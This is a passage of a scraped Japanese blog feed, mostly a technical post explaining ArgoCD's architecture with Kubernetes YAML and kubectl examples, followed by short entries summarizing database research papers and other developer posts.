emptyDir: {}反対に、これらツールをInitContainerでインストールし直す場合は、ArgoCD上での推奨バージョンをちゃんとインストールするようにしましょう\uD83D\uDC4D2.6系では、ArgoCDのリポジトリ内のtool-versions.shファイルに、Helmのバージョンが定義されています。spec: ... initContainers: - name: helm-installer image: alpine:latest command: - /bin/sh - -c # ArgoCDのリポジトリ上のtool-versions.shファイルから、Helmのバージョンを取得する args: - | apk --update add curl wget ARGOCD_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-helm/argo-cd-/charts/argo-cd/Chart.yaml | grep appVersion | sed -e \'s/^[^: ]*: //\') HELM_RECOMMENDED_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-cd/\\"${ARGOCD_VERSION}\\"/hack/tool-versions.sh | grep helm3_version | sed -e \'s/^[^=]*=//\') wget -q https://get.helm.sh/helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz tar -xvf helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz cp ./linux-amd64/helm /custom-tools/ chmod +x /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools ...argo-cd/hack/tool-versions.sh at v2.6.0 \xb7 argoproj/argo-cd \xb7 GitHub(2) repo-serverによる認証情報取得repo-serverは、Secret (argocd-repo-creds) からリポジトリの認証情報を取得します。argocd-repo-credsではリポジトリの認証情報のテンプレートを管理しています。指定した文字列から始まる (最長一致) URLを持つリポジトリに接続する場合、それらの接続で認証情報を一括して適用できます。argocd-repo-credsのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、リポジトリのSSH公開鍵認証を採用し、argocd-repo-credsに共通の秘密鍵を設定しています。apiVersion: v1kind: Secretmetadata: name: argocd-repo-creds-github namespace: argocd labels: argocd.argoproj.io/secret-type: repo-credstype: Opaquedata: type: git url: https://github.com/hiroki-hasegawa # 秘密鍵 sshPrivateKey: | MIIC2 ...あとは、各リポジトリのSecret (argocd-repo) にURLを設定しておきます。すると、先ほどのargocd-repo-credsのURLに最長一致するURLを持つSecretには、一括して秘密鍵が適用されます。# foo-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: argocd name: foo-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: bar-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/bar-chart.git---# baz-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: foo name: baz-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: baz-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/baz-chart.gitDeclarative Setup - Argo CD - Declarative GitOps CD for Kubernetes(3) repo-serverのよるクローン取得とポーリングrepo-serverは、認証情報を使用して、リポジトリにgit cloneコマンドを実行します。取得したクローンを、/tmp/_argocd-repoディレクトリ配下にUUIDの名前で保管します。また、リポジトリの変更をポーリングし、変更を検知した場合はgit fetchコマンドを実行します。# クローンが保管されていることを確認できる$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/_argocd-repo/\\"# リポジトリ内のファイルChart.yaml README.md templates values.yamlcustom repo-server - where is the local cache kept? \xb7 argoproj argo-cd \xb7 Discussion #9889 \xb7 GitHub▶ repo-serverでのクローン保管先のバージョン差異について2.3以前では、repo-serverは/tmpディレクトリ配下にURLに基づく名前でクローンを保管します。$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/https___github.com_hiroki-hasegawa_foo-repository\\"# リポジトリ内のファイルChart.yaml README.md templates values.yaml(4) repo-serverによるサイドカーコールrepo-serverは、自身にマウントされたいくつかのマニフェスト管理ツール (例:Helm、Kustomize) を実行する機能を持っています。しかし、実行できないツールではサイドカー (cmp-server) をコールします。この時、Applicationの.spec.source.pluginキーでプラグイン名を指定すると、そのApplicationではサイドカーをコールします。逆を言えば、プラグイン名を指定していないApplicationは、サイドカーをコールしない です。apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: foo-application namespace: foospec: source: plugin: name: helm-secrets # このプラグイン名は、ConfigManagementPluginのmetadata.nameキーに設定したもの ...このコールは、Volume上のUnixドメインソケットを経由します。Unixドメインソケットのエンドポイントの実体は.sockファイルです。$ kubectl exec -it argocd-repo-server -c foo-plugin-cmp-server\\\\ -- bash -c \\"ls /home/argocd/cmp-server/plugins/\\"foo-plugin.sock▶ UnixソケットドメインについてASCII.jp:Unixドメインソケット (1/2)(5) repo-serverによる暗号化キーと暗号化変数の取得cmp-serverは、暗号化キー (例:AWS KMS、Google CKMなど) を使用してSecretストア (例:AWS SecretManager、Google SecretManager、SOPS、Vaultなど) の暗号化変数を復号化します。▶ クラウドプロバイダーの暗号化キーを使用するために必要な証明書について/etc/sslディレクトリ (ディレクトリはOSによって異なる) に証明書が無く、cmp-serverがHTTPSプロトコルを使用できない可能性があります。その場合は、お好きな方法で証明書をインストールし、コンテナにマウントするようにしてください\uD83D\uDC4DapiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest ... # サイドカーのcmp-server - name: helm-secrets-cmp-server image: ubuntu:latest ... volumeMounts: # サイドカーがAWS KMSを使用する時にHTTPSリクエストを送信する必要があるため、証明書をマウントする - name: certificate mountPath: /etc/ssl ... initContainers: - name: certificate-installer image: ubuntu:latest command: - /bin/sh - -c args: - | apt-get update -y # ルート証明書をインストールする apt-get install -y ca-certificates # 証明書を更新する update-ca-certificates volumeMounts: - mountPath: /etc/ssl name: certificate volumes: - name: certificate emptyDir: {}(6) サイドカーによるプラグイン処理の取得cmp-serverは、マニフェスト管理ツールのプラグイン (helm-secrets、argocd-vault-pluginなど) を実行します。この時マニフェストの作成時のプラグインとして、ConfigMap配下のConfigManagementPluginでプラグインの処理を定義します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、プラグインとしてhelm-secretsを採用し、helm secrets templateコマンドの実行を定義します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmp-cm namespace: foodata: helm-secrets-plugin.yaml: | apiVersion: argoproj.io/v1alpha1 kind: ConfigManagementPlugin metadata: namespace: foo name: helm-secrets # このプラグイン名は、Applicationのspec.source.pluginキーで指定したもの spec: generate: command: - /bin/bash - -c args: - | set -o pipefail helm secrets template -f $ARGOCD_ENV_SECRETS -f $ARGOCD_ENV_VALUES -n $ARGOCD_APP_NAMESPACE $ARGOCD_APP_NAME . foo-plugin.yaml: | ...▶ ConfigManagementPluginのファイル名について(7) サイドカーによるプラグイン処理の実行cmp-serverはプラグインを実行し、Secretを含むマニフェストを作成します。ConfigMap配下のファイルをplugin.yamlの名前でサイドカーにマウントする必要があります。また、先ほどのUnixドメインソケットの.sockファイルや、 cmp-serverがプラグインを実行するための各バイナリファイルもマウントが必要です。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、helm-secretsプラグインを実行するサイドカー (helm-secrets-cmp-server) を作成します。apiVersion: v1kind: Podmetadata: name: argocd-repo-serverspec: containers: # repo-server - name: repo-server image: quay.io/argoproj/argocd:latest ... # helm-secretsのcmp-server - name: helm-secrets-cmp-server # コンテナイメージは軽量にする image: ubuntu:latest command: - /var/run/argocd/argocd-cmp-server env: # helmプラグインの場所を設定する - name: HELM_PLUGINS value: /helm-working-dir/plugins securityContext: runAsNonRoot: true runAsUser: 999 volumeMounts: # リポジトリのクローンをコンテナにマウントする - name: tmp mountPath: /tmp # ConfigManagementPluginのマニフェスト (helm-secrets.yaml) を \\"plugin.yaml\\" の名前でコンテナにマウントする - name: argocd-cmp-cm mountPath: /home/argocd/cmp-server/config/plugin.yaml subPath: helm-secrets.yaml # コンテナ間で通信するためのUnixドメインソケットファイルをコンテナにマウントする - name: plugins mountPath: /home/argocd/cmp-server/plugins # 任意のツールのバイナリファイルをコンテナにマウントする - name: custom-tools mountPath: /usr/local/bin # helmプラグインのバイナリをコンテナにマウントする - name: helm-working-dir mountPath: /helm-working-dir/plugins ... # Podの共有ボリューム volumes: # リポジトリのクローンを含む - name: tmp emptyDir: {} # Helmなどの任意のツールを含む - name: custom-tools emptyDir: {} # helmプラグインを含む - name: helm-working-dir emptyDir: {}▶ マウント時のConfigManagementPluginのファイル名についてv2.6では、ConfigManagementPluginのマニフェストを/home/argocd/cmp-server/configディレクトリに、plugin.yamlの名前でマウントしないといけません。これは、cmp-serverの起動コマンド (/var/run/argocd/argocd-cmp-server) がplugin.yamlの名前しか扱えないためです。ArgoCD公式の見解で、サイドカーでは単一のプラグインしか実行できないように設計しているとのコメントがありました。今後のアップグレードで改善される可能性がありますが、v2.6では、ConfigManagementPluginの数だけcmp-serverが必要になってしまいます\uD83D\uDE47\uD83C\uDFFB‍use multiple plugins in sidecar installation method \xb7 argoproj argo-cd \xb7 Discussion #12278 \xb7 GitHub▶ Kustomizeのプラグインをどのコンテナで実行するかについて▶ クラウドプロバイダーのSecretストアを採用する場合についてHow to manage Kubernetes secrets with GitOps? | Akuity04. application-controller、redis-serverapplication-controllerとはコアドメインレイヤーにあるapplication-controllerです。Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。redis-serverとはインフラレイヤーにあるredis-serverです。application-controllerの処理結果のキャッシュを保管します。仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンドArgoCD用Clusterの管理者は、ClusterにArgoCD系のカスタムリソース (例:Application、AppProjectなど) をデプロイします。▶ ArgoCD自体のデプロイにargo-helmを採用する場合についてGitHub - argoproj/argo-helm: ArgoProj Helm ChartsただしHelmの重要な仕様として、チャートの更新時に使用するhelm upgradeコマンドは、CRDを作成できる一方でこれを変更できません。HelmでCRDを作成するとHelmの管理ラベルが挿入されてしまうため、作成の時点からCRDがHelmの管理外となるように、kubectlコマンドでCRDを作成した方がよいです\uD83D\uDC4D$ kubectl diff -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"$ kubectl apply -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"ArgoCD上でHelmを使用してデプロイする場合はこの仕様を気にしなくてよいのかな、と思った方がいるかもしれないです。ですが本記事で解説した通り、ArgoCDはcmp-serverのhelm templateコマンド (この時、--include-crdsオプションが有効になっている) や、application-controllerのkubectl applyコマンドを組み合わせてマニフェストをデプロイしているため、CRDもちゃんと更新してくれます\uD83D\uDC4D\uD83C\uDFFB️Helm | Custom Resource Definitions(2) application-controllerによるArgoCD系カスタムリソースのReconciliationkube-controller-managerは、application-controllerを操作し、Reconciliationを実施します。application-controllerは、Etcd上に永続化されたマニフェストと同じ状態のArgoCD系カスタムリソースを作成/変更します。▶ カスタムコントローラーでもあるapplication-controllerについてHow Operators work in Kubernetes | Red Hat Developer(3) application-controllerによるマニフェスト取得application-controllerは、repo-serverからリポジトリのマニフェストを取得します。取得したマニフェストは、repo-serverのサイドカーであるcmp-serverが作成したものです。(4) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。application-controllerには、gitops-engineパッケージが内蔵されており、これはヘルスチェックからデプロイまでの基本的な処理を実行します。▶ gitops-engineパッケージについてv0.7.0 では以下のディレクトリからなります\uD83D\uDC47\uD83D\uDC31 gitops-engine/├── \uD83D\uDCC2 pkg│ ├── cache│ ├── diff # リポジトリとClusterの間のマニフェストの差分を検出する。ArgoCDのDiff機能に相当する。│ ├── engine # 他のパッケージを使い、GitOpsの一連の処理を実行する。│ ├── health # Clusterのステータスをチェックする。ArgoCDのヘルスチェック機能に相当する。│ ├── sync # Clusterにマニフェストをデプロイする。ArgoCDのSync機能に相当する。│ └── utils # 他のパッケージに汎用的な関数を提供する。│...gitops-engine/specs/design-top-down.md at v0.7.0 \xb7 argoproj/gitops-engine \xb7 GitHub(5) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、repo-serverから取得したマニフェストの差分を検出します。ここで、kubectl diffコマンドの実行が自動化されています。(6) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。redis-serverは、Applicationやリポジトリのコミットの単位で、application-controllerの処理結果を保管しています。$ kubectl exec -it argocd-redis-server \\\\ -n foo \\\\ -- sh -c \\"redis-cli --raw\\"127.0.0.1:6379> keys *...app|resources-tree||<キャッシュバージョン>cluster|info|<プロダクト用ClusterのURL>|<キャッシュバージョン>git-refs|<マニフェスト/チャートリポジトリのURL>|<キャッシュバージョン>mfst|app.kubernetes.io/instance||<最新のコミットハッシュ値>|<デプロイ先Namespace>|*****|<キャッシュバージョン>...(7) application-controllerによるマニフェストデプロイapplication-controllerは、Applicationの操作に応じて、Clusterにマニフェストをデプロイします。ここで、kubectl applyコマンドの実行が自動化されています。▶ application-controllerがマニフェストを操作した証拠についてmetadata.managedFieldsキーがあり、何がそのマニフェストを作成/変更したのかを確認できます。実際にマニフェストを確認してみると、確かにapplication-controllerがマニフェストを作成/変更してくれたことを確認できます。apiVersion: apps/v1kind: Deploymentmetadata: managedFields: # ArgoCDのapplication-controllerによる管理 - manager: argocd-application-controller apiVersion: apps/v1 # kube-apiserverに対するリクエスト内容 operation: Update time: \\"2022-01-01T16:00:00.000Z\\" # ArgoCDのapplication-controllerが管理するマニフェストのキー部分 fields: ...️Server-Side Apply | Kubernetes05. dex-serverdex-serverとはインフラレイヤーにあるdex-serverです。SSO (例:OAuth 2.0、SAML、OIDC) を採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダー (例:GitHub、Keycloak、AWS Cognito、Google Authなど) に送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。GitHub - dexidp/dex: OpenID Connect (OIDC) identity and OAuth 2.0 provider with pluggable connectors▶ dex-serverの必要性について2.0、SAML) を使用する場合は、dex-serverを採用する必要があります\uD83D\uDC4D️Overview - Argo CD - Declarative GitOps CD for Kubernetes仕組み(1) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(2) IDプロバイダーへの認証フェーズ委譲argocd-serverは、認証フェーズをIDプロバイダーに委譲するために、dex-serverをコールします。▶ 認証フェーズの委譲についてAuthentication and Authorization - Argo CD - Declarative GitOps CD for Kubernetes(3) dex-serverによる認可リクエスト作成dex-serverは、認可リクエストを作成します。認可リクエストに必要な情報は、ConfigMap (argocd-cm) で設定しておく必要があります。argocd-cmのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、IDプロバイダーをGitHubとし、認可リクエストに必要なクライアントIDとクライアントシークレットを設定しています。apiVersion: v1kind: ConfigMapmetadata: namespace: foo name: argocd-cmdata: dex.config: | connectors: - type: github id: github name: GitHub SSO config: clientID: ***** clientSecret: ***** # dex-serverが認可レスポンスによるリダイレクトを受信するURLを設定する redirectURI: https://example.com/api/dex/callback▶ dex-serverの設定についてdex.configキー配下の設定方法は、dexのドキュメントをみるとよいです\uD83D\uDC4DAuthentication Through GitHub |(4) dex-serverによる認可リクエスト送信dex-serverは、前の手順で作成した認可リクエストをIDプロバイダーに送信します。(5) IDプロバイダーによる認証フェーズ実施IDプロバイダー側でSSOの認証フェーズを実施します。IDプロバイダーは、コールバックURL (/api/dex/callback) を指定して、認可レスポンスを送信します。認可レスポンスはリダイレクトを発生させ、argocd-serverを介して、再びdex-serverに届きます。この後、dex-serverはIDプロバイダーのトークンエンドポイントにリクエストを送信し、またIDプロバイダーからトークン (アクセストークン、IDトークンなど) やユーザー情報を取得します。ただ、SSOの種類によって仕組みが異なるため、詳細は省略します。▶ dex-serverのコールバックURLについてDeveloper settingsタブ でSSOを設定する必要があり、この時にAuthorization callback URLという設定箇所があるはずです\uD83D\uDC4D\uD83C\uDFFB(6) argocd-serverによる認可フェーズ実施argocd-serverは、AuthZで認可フェーズを実施します。ConfigMap (argocd-rbac-cm) を参照し、IDプロバイダーから取得したユーザーやグループに、ArgoCD系カスタムリソースに関する認可スコープを付与します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、developerロールにはdevというAppProjectに属するArgoCD系カスタムリソースにのみ、またmaintainerロールには全てのAppProjectの操作を許可しています。またこれらのロールを、IDプロバイダーで認証されたグループに紐づけています。特定のArgoCD系カスタムリソースのみへのアクセスを許可すれば、結果として特定のClusterへのデプロイのみを許可したことになります\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール policy.default: role:developer policy.csv: | p, role:developer, *, *, dev/*/*, allow p, role:maintainer, *, *, dev/*/*, allow p, role:maintainer, *, *, prd/*/*, allow g, developers, role:developer g, maintainers, role:maintainer scopes: \\"[groups]\\"▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetes06. argocd-server (argocd-apiserver)argocd-serverとは最後に、インフラレイヤーにあるargocd-serverです。『argocd-apiserver』とも呼ばれます。みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能し、他のコンポーネントと通信します\uD83E\uDD84仕組み(1) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。(2) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、ポーリング対象のリポジトリのマニフェストの差分を検出します。(3) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(4) application-controllerによる処理結果取得argocd-serverは、redis-serverから処理結果を取得します。(5) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(6) IngressコントローラーによるルーティングIngressコントローラーは、Ingressのルーティングルールを参照し、argocd-serverにルーティングします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) IDプロバイダーによる認証フェーズ実施IDプロバイダー上で認証フェーズが完了します。argocd-serverは、ConfigMap (argocd-rbac-cm) を参照し、プロダクト用Cluster管理者に認可スコープを付与します。(9) argocd-serverによる認可フェーズ実施argocd-serverは、認可スコープに応じて、プロダクト用Cluster管理者がApplicationを操作可能にします。▶ NamespacedスコープモードについてapiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata: # 設定してはダメ # application.namespaces: \\"*\\" # 全てのNamespaceを許可する。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: dev-foo-project namespace: foospec: # 設定してはダメ # sourceNamespaces: # - \\"foo\\"これらにより、fooのNamespaceに属するArgoCDは、他のNamespaceにはアクセスできなくなります\uD83D\uDC4DInstallation - Argo CD - Declarative GitOps CD for Kubernetes(10) application-controllerによるマニフェストデプロイプロダクト用Cluster管理者は、ダッシュボード (argocd-server) を使用して、ClusterにマニフェストをSyncします。この時、Applicationを介してapplication-controllerを操作し、マニフェストをデプロイします。図では、App Of Appsパターンを採用したと仮定しています\uD83D\uDC68‍\uD83D\uDC69‍\uD83D\uDC67‍\uD83D\uDC66▶ App Of Appsパターンについて07. アーキテクチャのまとめ今までの全ての情報をざっくり整理して簡略化すると、ArgoCDは以下の仕組みでマニフェストをデプロイすることになります\uD83D\uDC4708. おわりにArgoCDによるデプロイの仕組みの仕組みをもりもり布教しました。ArgoCDは、UIが使いやすく、仕組みの詳細を知らずとも比較的簡単に運用できるため、ユーザーフレンドリーなツールだと思っています。もしArgoCDを使わずにマニフェストをデプロイしている方は、ArgoCDの採用をハイパー・ウルトラ・アルティメットおすすめします\uD83D\uDC4D謝辞ArgoCDの設計にあたり、以下の方に有益なプラクティスをご教授いただきました。@yaml_villager さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/05/02/145115","isoDate":"2023-05-02T05:42:57.000Z","dateMiliSeconds":1683006177000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"現代のクエリオプティマイザの基礎となる技術をまとめた論文を読みました","contentSnippet":"この記事の趣旨1998年に発表されたクエリオプティマイザの基礎としてとくに重要な手法をまとめた論文を読みました。An Overview of Query Optimization in Relational Systems著者についてSurajit Chaudhuriによる論文Microsoft所属の研究者でRDBMSの研究を行なっており、近年ではCloudにおけるDBMSの研究を行なっている。概要RDBMSが提案された1970年代からクエリ最適化は大規模で幅の広く研究が行なわれてきた。この論文では執筆当時(1998年)までの重要な研究の基礎を説明している。手法探索空間統計情報とコストの推定列挙アルゴリズムアルゴリズムについて説明している。論文内では拡張可能なオプティマイザとして、StarburstとVolcano/Cascadeの2種類のオプティマイザの詳細を論じている。最新(当時)の最適化リアライズドビューについて説明している。作業時間read31:4031:40author33:402:00summary52:5519:15感想ベクトル化やパラレルジョインで扱われていたVolcanoオプティマイザの端に触れることが出来ました。内容としては基礎的な内容が多いものの、知らない概念もいくつかあり引用している論文も読みたいです。クエリ最適化の基礎を学ぶのに非常にいい内容でした。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/15_query_optimization_overview","isoDate":"2023-05-02T01:54:29.000Z","dateMiliSeconds":1682992469000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSとクライアント間におけるデータ転送を最適化する論文を読みました","contentSnippet":"この記事の趣旨2017年に出版されたリモートDBMSとクライアント間の大量データ転送を最適化する手法を提案する論文を読みました。Don’t Hold My Data Hostage – A Case For Client Protocol Redesign著者についてMark Raasveldt、Hannes Muhleisenらのグループによる論文。いずれもCentrum Wiskunde & Informaticaの所属で、DuckDBのCxO。DBMSと分析システムにおけるパフォーマンス最適化を研究している。問題意識DBMSからクライアントプログラムに大量のデータを転送することは一般的なタスクである。例えばRやPythonなどを用いた分析システムはしばしばデータベース・インターフェースを利用してデータの取得を行なっている。一方でネットワーク越しにデータを転送することはレイテンシを増加させ、転送時間を長引かせる要因である。そのため分析用途で大量のデータ転送を避け、一部のデータをサンプルとして利用するに止まることが多い。このアプローチはパフォーマンスの低下を押さえられるものの、分析や機械学習の精度を下げることに繋がる。とくに既存のクライアントではネットワークによるレイテンシとスループットの制限に大きな影響を受けパフォーマンスを劣化させる。この問題はデータベースが別マシンやクラウドで動作するときにより大きな問題となる。手法本論文では既存のシリアライズ手法と圧縮手法によるパフォーマンスへの影響を計測し、新しいプロトコルとして以下の特性を持つ手法を提案している。1. チャンク毎のデータ転送と(デ)シリアライゼーション1. ヒューリスティックによる圧縮方法の決定1. text/binaryによるカスタムシリアライゼーションを使用する1. NULL終端によるテキストの取り扱い実験結果提案手法を実装したMonetDB(表内ではMonetDB++)とPostgreSQL(表内ではPostgreSQL++)を既存のDBMSやnetcatと比較することで評価を行なっている。TCP-Hのlineitem、American Community Survay、Airline On-Time Statisticsの3つのデータセットで評価を行なったところ、ローカル通信における非圧縮netcatを除き殆どのケースでMonetDB++系が最良のパフォーマンスを発揮し次点でPostgreSQL++系が優れた結果を残している。Table 10Table 11Table 12PostgreSQLに比べMonetDBが優れている理由はPostgreSQLの行指向データを列指向に変換するコストのためである。作業時間read31:2131:21author35:384:17summary70:1334:35感想論文出版時にはTPC/IPプロトコルが前提でQuic登場前のため、ネットワークプロトコル自体は考慮されていない。現在であればTPC/IPとQuicに適合した手法の比較が行なわれると思うので気になるところ。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/14_data_transfer_between_server_and_client","isoDate":"2023-05-01T03:34:18.000Z","dateMiliSeconds":1682912058000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"SQL ServerにおけるUDF最適化の論文を読みました","contentSnippet":"この記事の趣旨2017年に発表されたSQL ServerでUDFを最適化しているFroidという手法についての論文を読みました。Froid: Optimization of Imperative Programs in a Relational Database著者についてKarthik Ramachandra、Kwanghyun Park、K. Venkatesh Emani、Alan Halverson、Cesar Galindo-Legaria、Conor Cunninghamのグループによる論文。ほとんどの著者はMicrosoftに所属しており、いずれもトランザクショナルワークロードでのRDBMSの最適化や分析ワークロードにおけるRDBMS最適化の研究をしている。問題意識RDBMSではSQLによるデータ処理アプローチと、UDFやストアドプロシージャなどによる命令型のデータ処理アプローチを提供している。SQLによるデータアクセスは高度に最適化されてきた一方で、命令型のデータ処理は非効率なため性能を阻害し利用を禁止している組織すらある。UDFによるデータアクセスは非効率であるものの、SQLに比べ下記のような利点を提供するため幅広く利用されているのも事実である。1. SQL間でコードの再利用方法を提供する1. 複雑なビジネスロジックやMLアルゴリズムなどSQLでは難しい表現を可能にする1. 単純なSQLの組み合わせのため、ユーザーの意図が明確に表現できるこれらのメリットを享受するためにRDBMSにおける命令型データアクセス手法のパフォーマンスを向上しする必要があった。手法提案手法であるFroidはMicrosoft SQL Serverにおける命令型コードのパフォーマンス向上の手法として、UDFを複雑なサブクエリとしてみなすアプローチを取っている。UDFを構成する命令はDECLARE、SELECT、IF/ELSE、RETURN、他のUDF、リレーショナルオペレーションの6つに分ることができる。提案手法ではこれらの命令を一般的なT-SQLに置き換え、Apply演算により一つの関係式に結合する方法で実現している。Table 1命令が一般SQLに置き換えられることでUDFに対して、SQLに用いられていた高度な最適化を導入することが出来る。また提案手法ではい以下の理由から、SQLとして命令を置換するときにクエリ最適化時に行なうのではなくバインド時に置換をしている。1. 実際のワークロードでの実験ではほぼ全てのケースでバインド時のほうが性能がよかった1. クエリオプティマイザの変更が不要1. バインディング時に特定の最適化を行なえるとくにクエリオプティマイザの変更はSQL Serverが商用データベースなため重要であった。作業時間read28:5028:50author32:103:20summary57:0024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/13_sql_server_udf_optimization","isoDate":"2023-04-28T02:29:05.000Z","dateMiliSeconds":1682648945000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pull Requestで意識していること","contentSnippet":"どんな記事?Pull Request(以後PR)で自分がレビュイのときに意識していることをまとめてみました。PRだけじゃなくSlack等のテキストベースコミュニケーションでも同じようなことを意識…","link":"https://qiita.com/bayobayo0324/items/0d986370e0de95705b6f","isoDate":"2023-04-28T02:19:23.000Z","dateMiliSeconds":1682648363000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"DBMSの歴史とNewSQL","contentSnippet":"この記事はDBMSの登場以前から現代のDBMSを取り巻く環境までを振り返ることで、なぜNewSQLが必要とされ登場したのかをまとめます。 おことわり筆者はあくまでDBMSユーザーであり、研究者ではないため内容は個人の見解です。また対象読者はある程度DBMSに関わりがあり、OLTPやOLAP、列指向や行指向といった基本的な単語を理解しているものとします。またNewSQLの技術的詳細はスコープ外とします。 DBMS以前データベースという言葉は1950年代に米軍が情報基地を集約したことに由来します。一方で学術的なデータベースの起源はW. C. McGeeが1959年に発表...","link":"https://zenn.dev/nnaka2992/articles/history_of_db_and_newsql","isoDate":"2023-04-26T14:28:19.000Z","dateMiliSeconds":1682519299000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"中間結果が莫大になるときの結合を最適化する最悪ケース最適化結合をRDBMSに適応する論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された分析ワークロードなどで発生しがちな最終結果に比べ、非常に大きな中間結果を作成してしまうクエリを多方向結合で最適化する論文を読みました。Adopting Worst-Case Optimal Joins in Relational Database Systems著者についてMichael Freitag、Maximilian Bandle、Tobias Schmidt、Alfons Kemper、Thomas Neumannによるグループの論文いずれの著者もDBMSにおける最適化を中心に研究しており、それぞれ分析ワークロードにおける最適化や最新のハードウェアにおける最適化などを研究している。問題意識従来のRDBMSにおける結合処理のほとんどはバイナリ結合に依存して複数のリレーションにまたがるクエリを処理してきた。数十年に渡る研究によりバイナリ結合は幅広い柔軟性と優れた性能を発揮するようになった。その一方でバイナリ結合による実行計画は特定のワークロードでは最適ではないケースを示すことが知られている。主な原因として実際のクエリ結果に比べて非常に大きな中間結果を生成するためである。とくにPK以外のキーによる結合が多くなる分析ワークロードではそのような状態を避けることが難しく、またグラフ分析のようなクエリパターンでも多く見られる。近年の論理的な進歩により中間結果の列挙を避ける多方向結合のアルゴリズムが開発可能になった。この手法はバイナリ結合計画より優れた実行時間を保証できるため、RDBMSの堅牢性を大幅に向上させる可能性を持っている。しかし現状最悪ケース最適化結合アルゴリズムでは以下のような問題を抱えている。1. 膨大なストレージとメンテナンスを必要とする結合に参加出来るカラムを含むインデックスを必要とする。1. RDBMSは挿入と更新のサポートが必要なものの、既存のアルゴリズムは高価な事前計算を必要とする。そのため本論文は以下の制約を満たすアプローチを提案している1. 多方向結合が有益な場合のみ多方向結合を使用するオプティマイザを必要とする。1. 